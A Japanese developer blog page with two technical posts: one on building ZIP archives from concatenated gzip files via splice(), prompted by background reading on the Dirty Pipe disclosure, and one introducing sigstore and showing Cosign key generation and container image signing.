knqyf263's blog

自分のためのメモとして残しておくためのブログ。

spliceを使って高速・省メモリでGzipからZIPを作る

良い話を含むので概要の最初だけでも読んでもらえると幸いです。この話が実用的かと言うと多分全然実用的ではないので理解しても仕方ないかなと言う気がします。

概要

先日Dirty PipeというLinuxカーネル脆弱性が公表されました。

dirtypipe.cm4all.com

この脆弱性の原理自体も面白いのですが、その前に報告者の組織で行っているGzipとZIPの処理で引っかかったのでまず先にそちらの理解に努めました。ちなみにアホなのでDirty Pipe関連で不明点を報告者に直接ぶつけたら丁寧に回答してくれました。話題になっていて問い合わせも殺到しているはずなのに返信がいつも数時間以内でありがたい限りです。疑問が解消してスッキリして最高な気分になれたので、失礼かもみたいな気持ちを一度捨てて無理を承知で連絡をとってみると良いかもしれません。忙しければスルーされるだけなので、そこまで時間を取ってしまうこともないと思います。そういったことで関係が生まれて何かに繋がるかもしれません。ちなみに自分もOSSのメンテナをやっていて知らない人からメールがちょくちょく来ますが面倒な時はただスルーしてますし、特に嫌な気持ちにはなりません。

話を戻すと、まずは上記ブログ内に以下の記述がありました。

Via HTTP, all access logs of a month can be downloaded as a single .gz file. Using a trick (which involves Z_SYNC_FLUSH), we can just concatenate all gzipped daily log files without having to decompress and recompress them, which means this HTTP request consumes nearly no CPU.

こちらは簡単です。まず報告者の組織で提供しているサービスでは、Webサーバのログを日にちごとにgzipで保存していて、一ヶ月単位で丸ごと落とすことも可能になっています。gzipは仕様的にgzip同士を連結しても正しいgzipファイルとなるので、それを活用して日にちごとのgzipファイルを連結して1ヶ月分のgzipファイルとしているということだと思います。以下のようなイメージです。

$ cat 20220301.log.gz 20220302.log.gz 20220303.log.gz > 202203.log.gz

この辺りは以前以下のブログで説明したので興味あれば見て下さい。

knqyf263.hatenablog.com

次に、

Memory bandwidth is saved by employing the splice() system call to feed data directly from the hard disk into the HTTP connection, without passing the kernel/userspace boundary (“zero-copy”).

こちらの説明も簡単です。 splice(2) システムコールを使うことでユーザ空間にいちいちコピーせずともgzipファイルの連結が可能ということです。spliceについての説明は調べれば出てくるので詳細は省きますが、ファイル等からカーネル空間のページキャッシュに読み込み、それを直接パイプに渡せます。ファイルごとの処理が特に必要ではなく順番に連結するだけなので、これは難しくないと思います。

man7.org

問題は次です。

Windows users can’t handle .gz files, but everybody can extract ZIP files. A ZIP file is just a container for .gz files, so we could use the same method to generate ZIP files on-the-fly; all we needed to do was send a ZIP header first, then concatenate all .gz file contents as usual, followed by the central directory (another kind of header).

gzipWindowsで使えないから代わりにzipにしているということですが、zipは単に複数gzipファイルの入れ物でしかないからgzipの連結と同様にzipファイルも作れると言っています。まずzipヘッダを作り、次にgzipファイルを連結し、最後にcentral directoryヘッダを付ければ良いと言っています。

正直かなり混乱しました。確かにzipとgzipはどちらも圧縮アルゴリズムとしてDeflateが使えます。そのため圧縮したファイルそのものは同じになる可能性がありますが、仕様としては全然別物なのでヘッダやフッタのフォーマットも異なります。zipはアーカイバとしての機能もありますしgzipは圧縮のみです。もちろん一度展開すれば変換は容易ですが、CRCとかもあるのにgzipファイルの中身をユーザ空間のメモリに載せずただ連結するだけで行けるもんなの?!というのが疑問でした。

あとで分かりましたが、ここを理解しないと脆弱性の細かい理解も難しいです。

ファイルフォーマット

まず最初にgzipとzipのフォーマットについて軽く見ていきますが、ググると大量のドキュメントやブログがあるのでそちらを見てもらったほうが確実かもしれません。

gzip

RFC1952 を見るとフォーマットは以下のようになっています。gzipの仕様に詳しくなりたいわけではないのでオプショナルなヘッダは省略しています。

+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG|     MTIME     |XFL|OS | (more-->)
+---+---+---+---+---+---+---+---+---+---+

+=======================+
|...compressed blocks...| (more-->)
+=======================+

0   1   2   3   4   5   6   7
+---+---+---+---+---+---+---+---+
|     CRC32     |     ISIZE     |
+---+---+---+---+---+---+---+---+

大きく分けて4つのパートがあります。

  • 10-byteのヘッダ
  • オプショナルな拡張ヘッダ(上の図では省略)
  • DEFLATEで圧縮されたファイル本体
  • 8-byteのフッタ(trailer)

10-byteのヘッダ

+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG|     MTIME     |XFL|OS | (more-->)
+---+---+---+---+---+---+---+---+---+---+

まずはgzipであることを示すために2バイトのマジックバイトが来ます(0x1f 0x8b)。次に圧縮方法(CM, Compression Method)が来ます。CMが8の場合はDeflateを意味します。gzipでは通常Deflateが利用されます。そして次にフラグですが、この値によって拡張ヘッダの有無が決まります。フラグの各ビットの意味は以下のとおりです。

bit 0   FTEXT
bit 1   FHCRC
bit 2   FEXTRA
bit 3   FNAME
bit 4   FCOMMENT
bit 5   reserved
bit 6   reserved
bit 7   reserved

この辺は任意なので気にせずで良いですが、FNAMEはファイル名が入っているので普通にコマンドラインからgzip作ると埋められると思います。

ヘッダの残りは圧縮されている元ファイルの最終更新時刻や拡張フラグやOSなどが入ります。

拡張ヘッダ

上のフラグによって決まります。例えばFNAME がセットされていれば、元ファイルの名前が存在しゼロバイトによって終端されます。詳細はRFCが分かりやすいです。

ファイル本体

上で指定された圧縮アルゴリズムによって圧縮されたブロックです。

フッタ(trailer)

gzipのtrailerは8バイトで、CRC-32とサイズが4バイトずつ含まれています。

0   1   2   3   4   5   6   7
+---+---+---+---+---+---+---+---+
|     CRC32     |     ISIZE     |
+---+---+---+---+---+---+---+---+

zip

まずは大雑把に内容を掴むため、Wikipediaの図を引用します。

f:id:knqyf263:20220310064828p:plain
https://ja.wikipedia.org/wiki/ZIP_(%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%83%95%E3%82%A9%E3%83%BC%E3%83%9E%E3%83%83%E3%83%88) より引用

各ファイルの前にヘッダ(ローカルヘッダ)と、索引用途のヘッダ(セントラルディレクトリ)で構成されていることが分かります。ファイルエントリ自体は各ローカルヘッダのあとに置かれています。ヘッダについてもう少し細かく言うと

  • ローカルファイルヘッダ
  • Data descriptor
  • セントラルディレクトリエントリ
  • セントラルディレクトリの終端レコード

の4つがあります。複数のファイルとセントラルディレクトリエントリを入れることが出来て、次のようなレイアウトになります。

f:id:knqyf263:20220310090242p:plain

以下で1つずつ見ていきます。

ちなみに以下を参照していますが、zipのRFCとかはないのでしたっけ...?その辺の歴史に詳しくないので誰か詳しい人が教えてくれたら追記します。 https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ローカルファイルヘッダ

これは上でも述べたように各ファイルの前につくヘッダで、以下のようになっています。

local file header signature     4 bytes  (0x04034b50)
version needed to extract       2 bytes
general purpose bit flag        2 bytes
compression method              2 bytes
last mod file time              2 bytes
last mod file date              2 bytes
crc-32                          4 bytes
compressed size                 4 bytes
uncompressed size               4 bytes
file name length                2 bytes
extra field length              2 bytes

file name (variable size)
extra field (variable size)

この中でまず重要なのはcompression methodで、圧縮メソッドが指定できます。デフォルトでは8で、Deflateになります。zipではかなり多くの圧縮メソッドが利用可能です。ただ、0が非圧縮で8がDeflateであることを覚えておけばとりあえず良さそうです。zipは圧縮せずにアーカイバとして使うことも可能で、その場合は0になります。ファイルサイズが小さかったりで圧縮率が悪い場合も勝手に0になるようです。

また、CRC-32のフィールドや圧縮サイズ、非圧縮サイズなどもあります。そして汎用目的のビットフラグについてWikipediaの説明を引用しておきます。

汎用目的のビットフラグフィールドの3ビット目がセットされている場合、ヘッダの書き込み時にはCRC-32とファイルサイズが不明である。ローカルヘッダのCRC-32とファイルサイズのフィールドにはゼロが書き込まれ、CRC-32とファイルサイズは圧縮データの後ろに12バイトのデータとして追加される。(オプションの4バイトのシグネチャが前に付く場合もある。)

つまりCRC-32はファイル本体のあとにも置くことが出来るということです。これはdata descriptorと呼ばれる領域ですが、自分はこのヘッダの存在を知らず、これを知ってから色々腑に落ちた感じがあります。

Data descriptor

この領域は上で説明したようにオプショナルですが、存在する場合はCRC-32とサイズが入っています。

crc-32                          4 bytes
compressed size                 4 bytes
uncompressed size               4 bytes

なので実際には

  • Local file header
  • File data
  • Data descriptor

の3つで1セットです。

セントラルディレクトリエントリ

以下のようになっています。ローカルファイルヘッダとかなり似た感じです。何で同じ値を複数持ってるのか疑問ですが、冗長性の確保のためとWikiには書いていました。ただ仕様の方ではそういった記述が見つけられなかったので未だに疑問です。

central file header signature   4 bytes  (0x02014b50)
version made by                 2 bytes
version needed to extract       2 bytes
general purpose bit flag        2 bytes
compression method              2 bytes
last mod file time              2 bytes
last mod file date              2 bytes
crc-32                          4 bytes
compressed size                 4 bytes
uncompressed size               4 bytes
file name length                2 bytes
extra field length              2 bytes
file comment length             2 bytes
disk number start               2 bytes
internal file attributes        2 bytes
external file attributes        4 bytes
relative offset of local header 4 bytes

file name (variable size)
extra field (variable size)
file comment (variable size)

ここで重要なのはローカルファイルヘッダの相対オフセットです。これが上述したローカルファイルヘッダへの参照となります。つまりセントラルディレクトリエントリを見つければ実際のファイルにも飛べるということになります。

セントラルディレクトリの終端レコード

全てのセントラルディレクトリエントリの後に、ZIPファイルの終わりを表すセントラルディレクトリの終端レコードが続きます。

end of central dir signature    4 bytes  (0x06054b50)
number of this disk             2 bytes
number of the disk with the
start of the central directory  2 bytes
total number of entries in the
central directory on this disk  2 bytes
total number of entries in
the central directory           2 bytes
size of the central directory   4 bytes
offset of start of central
directory with respect to
the starting disk number        4 bytes
.ZIP file comment length        2 bytes
.ZIP file comment       (variable size)

セントラルディレクトリへのオフセットが保存されています。展開時は、まず初めにセントラルディレクトリの終端レコードのシグネチャを探し、次に各セントラルレコードを探索し、ローカルファイルヘッダを探索するという処理の流れになります。

gzipからzipへの変換

ここまでgzipとzipのヘッダを見てきましたが、共通点が多くあったことがわかると思います。特に、どちらも圧縮メソッドとしてDeflateが利用可能な点、CRC-32を含む点は重要です。gzipはシンプルで、ヘッダ内で重要なのはファイル名と最終更新時刻ぐらいな気がします(暴論)。そしてtrailerにCRC-32とサイズが含まれています。これらの情報を流用すれば再計算なしにzipのローカルヘッダやセントラルヘッダが作れそうです。拡張ヘッダなどの諸々は一旦無視して、とりあえずzipファイルとして正しいフォーマットのものを作ることを目指します。

gzipをストリームに処理していきたいので、

  1. gzipヘッダの処理
  2. gzipファイル本体の処理
  3. gzip trailerの処理

の3つに分けて説明していきます。

gzipヘッダの処理

まずヘッダからファイル名と最終更新時刻を取り出します。次にzipのローカルファイルヘッダを作ります。compression methodにはDeflateを指定し、最終更新時刻もgzipから取り出したものを入れます。しかし、この時点ではCRC-32や非圧縮サイズは持っていません。そこで、上述したように汎用目的のビットフラグフィールドの3ビット目をセットし、CRC-32やcompressed/uncompressed sizeなどは全て0を埋めておきます。実際の値はdata descriptorに入れます。

あとはファイル名やファイル名の長さを入れればローカルファイルヘッダは完成です。後々セントラルディレクトリエントリでも同じ情報が必要になるのでこれらの情報は取っておきます。

ちなみにCRC-32はgzip trailerを読めば取得可能なので、一旦フッタを読んでseekして先頭に戻せば一応この時点でもCRC-32のフィールドを埋めることが出来ます。ただファイル自体が大きい場合はseekすら惜しいということでストリーム処理したかったのではないかと推測しています。そういった場合にはやはりdata descriptorを使うのが有用そうです。

簡略したイメージ図は以下です。この時作ったローカルファイルヘッダのオフセットがセントラルディレクトリの終端レコード作成時に必要なのでそれも取っておきます。

f:id:knqyf263:20220310082442p:plain

gzipファイル本体の処理

ここは同じDeflateで圧縮されているのでそのままでOKです。実際適当にzipとgzipを作って比べると本体部分が共通しています。

$ echo fooooooooooo > hello.txt
$ zip hello hello.txt
  adding: hello.txt (deflated 54%)
$ od -Ax -tx1z hello.zip
000000 50 4b 03 04 14 00 00 00 08 00 88 09 6a 54 38 e5  >PK..........jT8<
000010 35 2f 06 00 00 00 0d 00 00 00 09 00 1c 00 68 65  >5/............he<
000020 6c 6c 6f 2e 74 78 74 55 54 09 00 03 50 34 29 62  >llo.txtUT...P4)b<
000030 51 34 29 62 75 78 0b 00 01 04 f5 01 00 00 04 14  >Q4)bux.........<
000040 00 00 00 4b cb 47 00 2e 00 50 4b 01 02 1e 03 14  >...KG...PK.....<
000050 00 00 00 08 00 88 09 6a 54 38 e5 35 2f 06 00 00  >.......jT85/...<
000060 00 0d 00 00 00 09 00 18 00 00 00 00 00 01 00 00  >................<
000070 00 a4 81 00 00 00 00 68 65 6c 6c 6f 2e 74 78 74  >......hello.txt<
000080 55 54 05 00 03 50 34 29 62 75 78 0b 00 01 04 f5  >UT...P4)bux....<
000090 01 00 00 04 14 00 00 00 50 4b 05 06 00 00 00 00  >........PK......<
0000a0 01 00 01 00 4f 00 00 00 49 00 00 00 00 00        >....O...I.....<
0000ae
$ gzip hello.txt
$ od -Ax -tx1z hello.txt.gz
000000 1f 8b 08 08 50 34 29 62 00 03 68 65 6c 6c 6f 2e  >....P4)b..hello.<
000010 74 78 74 00 4b cb 47 00 2e 00 38 e5 35 2f 0d 00  >txt.KG...85/..<
000020 00 00                                            >..<
000022

gzipはファイル名のあとに本体が来ているので 4b cb 47 から始まるところが本体ですが、上のzipでも共通していることが分かります。compression methodも共に8(Deflate)になっています。

ということで単にgzipファイルの本体部分をそのままzipに転用すればOKなので以下のようになります。spliceを使う場合は先頭のヘッダサイズをオフセットに指定してスキップし、最後trailerの8バイトを残してzipに流し込めば良いです。つまりこのファイルの内容をユーザ空間のメモリに載せる必要なしに処理可能です。

f:id:knqyf263:20220310081714p:plain

この時、spliceの戻り値から圧縮サイズが分かります。

gzip trailerの処理

gzip trailerからCRC-32と非圧縮サイズを取り出します。そしてそれらをdata descriptorに入れます。

f:id:knqyf263:20220310082329p:plain

ここまででファイルの1セットが完成です。あとはヘッダ処理時に取っておいたファイル名や最終変更時間、そして今取得したCRC-32やサイズを使ってセントラルディレクトリエントリを作ります。

f:id:knqyf263:20220310082544p:plain

セントラルディレクトリエントリが完成したら、計算しておいたオフセットを使ってセントラルディレクトリの終端レコードを作れば完成です。

複数gzipファイルの連結

gzipファイルが複数あっても同じです。gzipファイルをストリームに処理してローカルファイルヘッダ、ファイル本体、data descriptorの1セットを作ります。セントラルディレクトリエントリはファイルごとに作ったものをメモリ上で連結して保存しておいて、最後にzipファイルの末尾に置くだけです。

PoC

机上の空論なのではないかと不安だったので作ってみました。

github.com

内部でspliceを使っているのでパイプを使う必要があります。

$ go run main.go hello.txt.gz | cat - > hello.zip

これで作ったzipはきちんとunzipコマンドで正しく解凍できました。とりあえず確かめたかっただけなので拡張ヘッダはスキップしてますし(何なら最終更新時刻もサボった)ソースコードもゴリ押しですが、理解は深まったので良しとします。

報告者にソースコードを送りつけてこういうことだよね?と確認したので、細かい違いはあると思いますが大筋は間違ってないと思います。Linuxカーネルに特別詳しいわけでもないので、実はこの実装だと省メモリになってないよ、とかあったら教えて下さい。ただ報告者がやっていたのは少なくともこういうことで正しいはずです。

ちなみにDirty Pipeの脆弱性においてはspliceで最後8バイトは(trailerなので)パイプに送っていないというのがとても重要です。

まとめ

複数のgzipファイルをspliceを使いつつストリームに処理して高速かつ省メモリでzipファイルが作れることを確かめました。どっちのフォーマットも割と共通しているところが多いのでこういった事が可能なんだなと感心しました。元のブログではgzipファイルをそのまま連結しているという書き方でしたが、実際にはDeflate圧縮された部分を取り出して連結している、が正しい表現かな気がします。本筋から外れるので説明を簡略したのかなと思います。

しかしDirty Pipeの解説を書くはずが自分は一体何を...

sigstoreによるコンテナイメージやソフトウェアの署名

恐ろしく長い上に割と複雑なので最後まで読む人はほとんどいないと思うのですが、将来確実に忘れてしまう自分のために書いたので別に悲しくありません。

まえがき

鍵の管理不要でソフトウェア署名を可能にするKeyless Signingについて解説を書こうと思い、まず前提知識を書いていたら信じられないぐらい長くなったので前提知識だけで1つの記事になりました。

後述するsigstoreは急速に開発が進んでいるプロジェクトであり、ここで書いている記述は少し経ったら不正確になる可能性があります。本記事の内容は参考程度に留め、公式ドキュメントやソースコードなどを参照してください。昔はそうだったのかなぐらいで見てもらえればと思います。

また、最近認証や署名周りを追っていなかったこともあり、割と忘れていて用語の使い方が多少怪しいところがあるかもしれません。その場合はご指摘いただければ修正します。

PKIって何?とか公開鍵認証って何?とかそういうことは説明していません。

背景

近年開発されるサービスやソフトウェアはオープンソースソフトウェア(OSS)に依存することが一般的になっています。一方で、自分達が依存しているOSSの一覧を把握することは困難であり、さらにはそれらOSSがどこで管理されているのか、どのようにビルドされているのか、などを把握することはより困難です。その結果、いわゆるサプライチェーン攻撃を受けやすい状況になっています。サプライチェーン攻撃が何かはここでは説明しないので初耳の人は検索してみてください。

実際、サプライチェーン攻撃により大きな被害を受けた事例は近年多数あります。

medium.com

www.bleepingcomputer.com

そこで、ソフトウェアを誰がどのようにビルドしたのかを検証することが重要になるわけですが、そこで使われるのが電子署名の技術になります。中でもPGPによる署名検証は古くから利用されています。昔は権利関係で利用が難しかったようですが、今はGnuPG(GPG)やOpenPGPなどの別実装もありその辺りの問題はクリアされています。

しかし、結局鍵の管理が必要でそこがネックとなりあまり普及していません。そこで登場したのがsigstoreというLinux Foundation傘下のプロジェクトです。Red Hat, Google, Purdue University主導で2021年の3月に発表されました。"Sigstore"かと思いましたが、文の先頭でも"sigstore"と書いているので小文字が正解なんだろうと思っています。

www.linuxfoundation.org

今はOpenSSF傘下に移動しています。OpenSSFで行われていることと親和性が高い点、OpenSSFは大企業からの財政的支援を受けていることもありsigstoreのようなパブリックインスタンスを運用するプロジェクトにとって安定運用がしやすくなる点などが移動の理由のようです。

blog.sigstore.dev

上記のLinux Foundationのブログに書かれていますが、現在署名をするOSSプロジェクトはほとんどありません。鍵が漏洩したときの証明書の失効手続きだったり、公開鍵の配布だったり、OSSメンテナの負担が大きいためです。また、ユーザ側も信頼する鍵を入手して署名をどう検証するべきかを把握しておく必要があり負担となっています。シンプルにソフトウェアのダイジェストを公開している場合もありますが、ダイジェストが安全でないシステム上で公開されている場合が多く、すり替えや標的型攻撃を受けてしまう可能性があるという旨も書かれています。

Arch Linuxのパッケージメンテナの方も、電子署名の重要性は理解していてPGPを用いて署名を始めたが、PGP鍵のパスワードを忘れたり、PGP鍵の紛失をしたり、といったことが起きて大きな問題となったそうです。そのような事件を経験した後、多くのメンテナは署名することをやめたそうです。つまり、PGPによるソフトウェアの署名はうまくいっていないというのが現状です。

自分もOSSのメンテナなのですが、実際にDEBパッケージに署名をしていたPGP鍵を紛失して大きな問題になりました。正直紛失したとか恥ずかしくて今日まで黙ってきたのですが、多くのメンテナが同じやらかしをしてPGP署名を諦めているのを見て自分だけじゃなかったのかと安心しました。しかし自分が開発しているのはセキュリティツールであり、ソフトウェアやコンテナイメージに署名していないなんてありえないという声をいただくことがちょくちょくありました。やらなくてはと思いつつも2年ぐらい放置していたところに彗星のごとくsigstoreが現れました。

www.sigstore.dev

これは早く試さなくては、と思いつつもPGPの経験から署名しんどいしなーと腰が重く、かつ日々の開発に忙殺されて気づけば1年弱経ってしまいました。そうこうしているうちにsigstoreの方々から(実際にIssueをくれた人は現時点ではsigstoreのメンバーではないはずですが、sigstoreのプロジェクトで活動しています)Vulnerability Attestationの対応をお前のOSSでやらないかという声がけをして頂きました。

github.com

脱線しますが、そのあたりの仕様は以下にあります。

github.com

これは一度真面目にsigstoreと向き合わねばならないということで、ちょうど大きいリリースも終わったので気合いを入れて勉強したというのが背景です。

まだまだ理解しきれていない部分もあるのですが、sigstoreについての日本語での資料はほとんど見つからなかったので現時点での自分の理解でも役に立つかと思い書きました。

sigstoreの概要

sigstoreはソフトウェアサプライチェーンの真正性と完全性を確保しやすくすることで昨今の問題に対処することを目指すプロジェクトです。難しいのでざっくり言ってしまうと、ダウンロードしたソフトウェアが改ざんされておらず、かつ(そのソフトウェアが主張する)正しい人や場所でビルドされたことを担保するということです。ソフトウェアをダウンロードしたら実は攻撃者が改ざんして不正なコードを仕込んでた、みたいなことを防ぎたいよね、というのが解決したい課題です。

それだけ聞くとPGPで署名してたのと何が違うの?となると思いますが、一番大きく異なるのは可能な限り自動化をして極限までメンテナの手間を減らそうとしているところかと思います。上の sigstore.dev にも書いてあるようにOSSメンテナによるOSSメンテナのためのプロジェクトです。これは完全に主観なので本質はそこではない、みたいな指摘もあるかもしれません。

鍵管理の手間が減ることで鍵の漏洩や紛失リスクを下げますし、検証の手間も減らせればユーザにとっても信頼するソフトウェアだけを利用できるようになるため、OSSを利用する全ての人にとって利益があります。実際Keyless Signingという機能が実験的に公開されていますが、鍵の管理を不要にするもので今までの苦労から開放されることが期待されています。

上では署名・検証の労力と時間の削減についてのみ主観で話しましたが、今までと異なる点については sigstore.dev では以下の3つを挙げています。

  • Automatic key management
  • Transparent ledger technology
  • Driven by our community

鍵の管理が自動化され、署名もtransparency logとして公の場所に保存されるため誰でも監査することが出来ます。簡単に無料で署名できるという点で、ソフトウェア署名におけるLet’s EncryptのようなものとGoogleは述べています。

security.googleblog.com

あとは企業主導ではなくコミュニティでやっているという点も強調しています。

ここで先に今の自分の理解を基にsigstoreに対しての個人的な主観を述べておきます。自分の理解が間違っていたら訂正します。sigstoreによって確かに鍵の管理から開放されたものの、現状のUIだと検証する側にはやはりしっかりとした理解が求められる気がします。検証できた気になっていて実は何も検証できていないということが起きそうで怖いです。ほとんどのソフトウェアが署名されていない現状と比べるとそれでも改善と言えるかもしれませんが、安全のはずと思いこむことでより攻撃に気づきにくくなる可能性についてはやはり不安です。ただし、この辺りはツールのUIの改善で何とか出来る部分かもしれません。

しかしそれらを考慮してもKeyless Signingは革新的なプロジェクトだと思いますし、ユーザ側の理解が進んでいけばメンテナの負担は劇的に削減されそうです。sigstoreの今後に期待したいですし、自分もVulnerability Attestationで声をかけてもらったので何か貢献できればと思います。

sigstoreを構成するツール群

sigstoreは、Cosign・Fulcio・RekorなどのOSSによるツール群です。Cosignは実際に署名をするために使うツールで、RekorはTransparency Logを提供し、Fulcioはソフトウェア署名のためのroot CAです。

Cosign

github.com

Cosignは鍵の生成から署名・検証を行うCLIツールです。署名方法は

  • 通常の署名(良い呼び名が見つからなかった)
  • Keyless Signing

の2つがあります。

また、署名対象としては大きく分けて

  • コンテナイメージ
  • それ以外のBlob
    • テキストファイル、バイナリファイル、パッケージ等

の2種類があります。なぜコンテナイメージだけ特別扱いされているかと言うと、OCI Distribution Specificationをうまく活用することで署名の保存位置を標準化しているためです。つまり署名を配布しなくてもCosignが勝手に取得してきてくれます。逆に言うとOCI RegistryじゃないとCosignはうまく署名できません(署名だけ別レジストリ指定したりも出来ますが)。OCI Distribution Specificationって何?というのを説明すると長くなるのですが、従来コンテナイメージしか置けなかったレジストリの仕様を拡張しファイルなら何でも置けるようにしたものぐらいの雑な理解で良いのではないでしょうか(怒られそう)。一応後半でもう少し説明します。コンテナイメージ以外の場合は従来どおり署名を自分で配布する必要があります。

Keyless Signingはそれ一つで記事にしようと思っているので、まずは通常の署名方法について解説します。

Rekor

github.com

RekorはSoftware Supply ChainにおけるTransparency Logを提供します。このTransparency LogはSSL/TLSサーバ証明書におけるCT(Certificate Transparency)と同様の機能です。CTについては以前軽くブログを書きましたが、CT自体の説明はしていなかったのでブログ内の参考URLなどを見てください。

knqyf263.hatenablog.com

ただし、Transparency Logは証明書の透明性だけでなく署名の透明性のためにも利用されます。要はソフトウェアが署名されたことをログとして記録し、それを誰でも確認できるようにします。さらにその署名のために発行された証明書も登録しておきます。このログを監査することで鍵の漏えい等を検知できるようになります。また、署名がされた当時に証明書やメールアドレスが有効であったことの確認などにも使えるのですが、その辺りはKeyless Signingで重要なので別の記事で説明します。

Rekorはログを検索するためのREST APIとTransparency Logを保存する役割を担います。しかしこのログが改ざんされてしまっては元も子もないので、ストレージにGoogleの開発したTrillianを利用し改ざん耐性を高めています。

github.com

元々CTを想定して作られたようなのでSupply Chain Transparency Logにおいても有用ということだと思います。Trillianについては自分もGigazineの記事を読んでふーんと思ったぐらいであまり知らないので、興味ある人は詳しくみてみてください。

gigazine.net

普段セキュリティで興味のある分野は論文を読むため、そのあとにまとめ系の記事を読むと不正確な記述が多いなと思ってしまうことが正直多いのですが、全ての一次ソースを読み切るのは難しいですし今回は重要な部分ではないので一旦「改ざんの困難なログシステム」なんだなぐらいの理解で先に進みます。

RekorはOSSとして公開されているため自分でRekorサーバを運用することも可能ですが、rekor.sigstore.dev などのパブリックインスタンスが公開されているためほとんどのユーザはそちらを利用することになり、Rekorを意識することはあまりないかもしれません。ちなみに現在ベストエフォートでの運用となっており、予告なしにサーバを落としたりリセットするかもしれないと注意書きされています。Experimentalと書かれているので良いのですが、ログがリセットされたらKeyless Signingでの署名検証に失敗するし既にKeylessで署名しているプロジェクトはどうなるんだろう...

docs.sigstore.dev

RekorのCLIも提供されており、上の検索APIなどはCLI経由で実行可能です。

Fulcio

github.com

GitHubリポジトリにSigstore WebPKIと書いてあるようにソフトウェア署名のためのRoot CAを提供します。

OpenID Connectのメールアドレスに基づき証明書を発行します。また、その証明書は有効期限が20分となっているため鍵をその後に紛失・漏洩しても失効の手間が不要です。そのOIDCを基に発行された証明書と上のRekorのTransparency Logを組み合わせることで署名時に有効なメールアドレスによって署名されたことが証明できます。

Fulcioで発行された証明書はTransparency LogとしてRekorに記録されます。Rekor同様にパブリックインスタンス(fulcio.sigstore.dev)が運用されています。ちなみにRekorと同様に2022/02/06時点ではまだWIPとのことです。

多くの場合はパブリックインスタンスを利用されることになるかと思います。ただしCTの問題点と同様にプライベートリポジトリのソフトウェアを署名してRekorにログを公開すると情報が漏洩してしまうため注意が必要です。その場合は署名を無効化したりプライベートインスタンスを立てたりする必要があります。

Rekorにログを保存したところで何かが防げるわけではなく監査が可能になるだけなので、自分のメールアドレスで証明書が勝手に作成された場合に通知を送るなど自分でログ監査する必要があります。

署名方法

RekorとFulcioはKeyless Signingの時に重要なのですが、今回の記事ではまず基本的な署名方法を説明するためCosignのみを使っていきます。混乱しやすいので以下の説明では一旦RekorとFulcioのことは忘れたほうが良いと思います。

コンテナイメージ

上で説明したようにコンテナイメージは特別なので先にコンテナイメージの署名について説明し、その後にBlobの署名を説明します。

鍵ペアの生成

まず鍵を生成します。Cosignは署名を簡単にするために多くのオプションは提供していません。署名アルゴリズムもECDSA-P256のみ対応のようです。生成時に秘密鍵のパスワードが聞かれるので強度の高いパスワードを入れます。

$ cosign generate-key-pair
Enter password for private key:
Enter password for private key again:
Private key written to cosign.key
Public key written to cosign.pub

デフォルトだとcosign.keyとcosign.pubというファイル名でそれぞれ秘密鍵・公開鍵が生成されます。

$ cat cosign.pub
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEfhj1XOKYLxMc9KzbZxXdU5dfBvNK
Oi2A2UKYGYMl3Cj8vvXNALWxhc2ZRWX1QypTa35ivrUU+ANRda4Gos3f9Q==
-----END PUBLIC KEY-----

秘密鍵は暗号化されたPEMとなっています。この秘密鍵GitHub等においても安全で、CI上のパスワードマネージャで復号して署名することが出来るとsigstoreのブログで述べられています。

blog.sigstore.dev

通常の署名では鍵のペアを保管しておく必要がありますが、秘密鍵のパスワードだけちゃんと秘密に管理しておけば良く、公開鍵・秘密鍵GitHub等に置いておけるため管理は比較的楽なのかと思います。暗号化された秘密鍵の例は以下です。

$ cat cosign.key
-----BEGIN ENCRYPTED COSIGN PRIVATE KEY-----
eyJrZGYiOnsibmFtZSI6InNjcnlwdCIsInBhcmFtcyI6eyJOIjozMjc2OCwiciI6
OCwicCI6MX0sInNhbHQiOiJxd1dNL09acFkwNHp0N28vNzE1ZTFDTVZGbDViSHJB
aE9NT1dURDJuMGlnPSJ9LCJjaXBoZXIiOnsibmFtZSI6Im5hY2wvc2VjcmV0Ym94
Iiwibm9uY2UiOiJuWm5QNzNGaFNsRFZ4NHhPTlplYkxZbUYvSTVEQmlXSyJ9LCJj
aXBoZXJ0ZXh0IjoiVG82ZSt4L0Nybk1TNUc0YUh0c1V3TlZRaW9vaUdNa0RhcGFW
SlBpRDJsMmdDMTdKRE1BZnp3TFFVSVhPUjVlMzNNdU9ObFZhekhNTGxsSzJJME5R
aGZhVWdWM0NqYlhoaHVNQ0xsaU1EOS9xRTRXSHBzZGxoZXpWSWw2VnJ1MGY0cERj
blJweEp1OTRYRGx1VWFid0VQZGNxMVVCc2NhRGd4NTRNNDBNZnBlVEYxTjJDMTBV
RE83L3Y4QkZScG83M01XejI2ZXRZTkdwb2c9PSJ9
-----END ENCRYPTED COSIGN PRIVATE KEY-----

上記ではファイルとして鍵ペアを管理する方法を説明しましたが以下のKMSに対応しているため、クラウドサービスを利用している場合は手元での鍵管理は不要になります。

  • Azure Key Vault
  • AWS KMS
  • Google Cloud KMS
  • Hashicorp Vault

YubiKeyなどのハードウェアキーにも対応しているようです。

github.com

また、ヘルプを見ていたらGitHubやGitLabの指定もできるようでした。

# generate a key-pair in GitHub
cosign generate-key-pair github://[OWNER]/[PROJECT_NAME]

どういうことかとピンとこなかったのでGitHubを試してみました。

$ export GITHUB_TOKEN=XXX
$ cosign generate-key-pair github://knqyf263/cosign-test
Enter password for private key:
Enter password for private key again:
Private key written to COSIGN_PASSWORD environment variable
Private key written to COSIGN_PRIVATE_KEY environment variable
Public key written to COSIGN_PUBLIC_KEY environment variable
Public key also written to cosign.pub

上記のようなメッセージが出たので手元の環境変数が設定されたのかと思って確認したのですがそんなことはなく、どうやら指定したリポジトリのSecretsに作成されるようです。

f:id:knqyf263:20220206204835p:plain

CI上で使うためかと思いますが、公開鍵と暗号化された秘密鍵リポジトリに置いてパスワードだけ安全に管理すれば良いとブログに書いてたのに全部Secretsに入れるの...?という疑問は残りました。

署名

あとは上記で作った秘密鍵と署名したいコンテナイメージ名を指定するだけです。先程指定した秘密鍵のパスワードが求められます。

$ cosign sign --key cosign.key knqyf263/cosign-test
an error occurred: no provider found for that key reference, will try to load key from disk...
Enter password for private key: 
Pushing signature to: index.docker.io/knqyf263/cosign-test

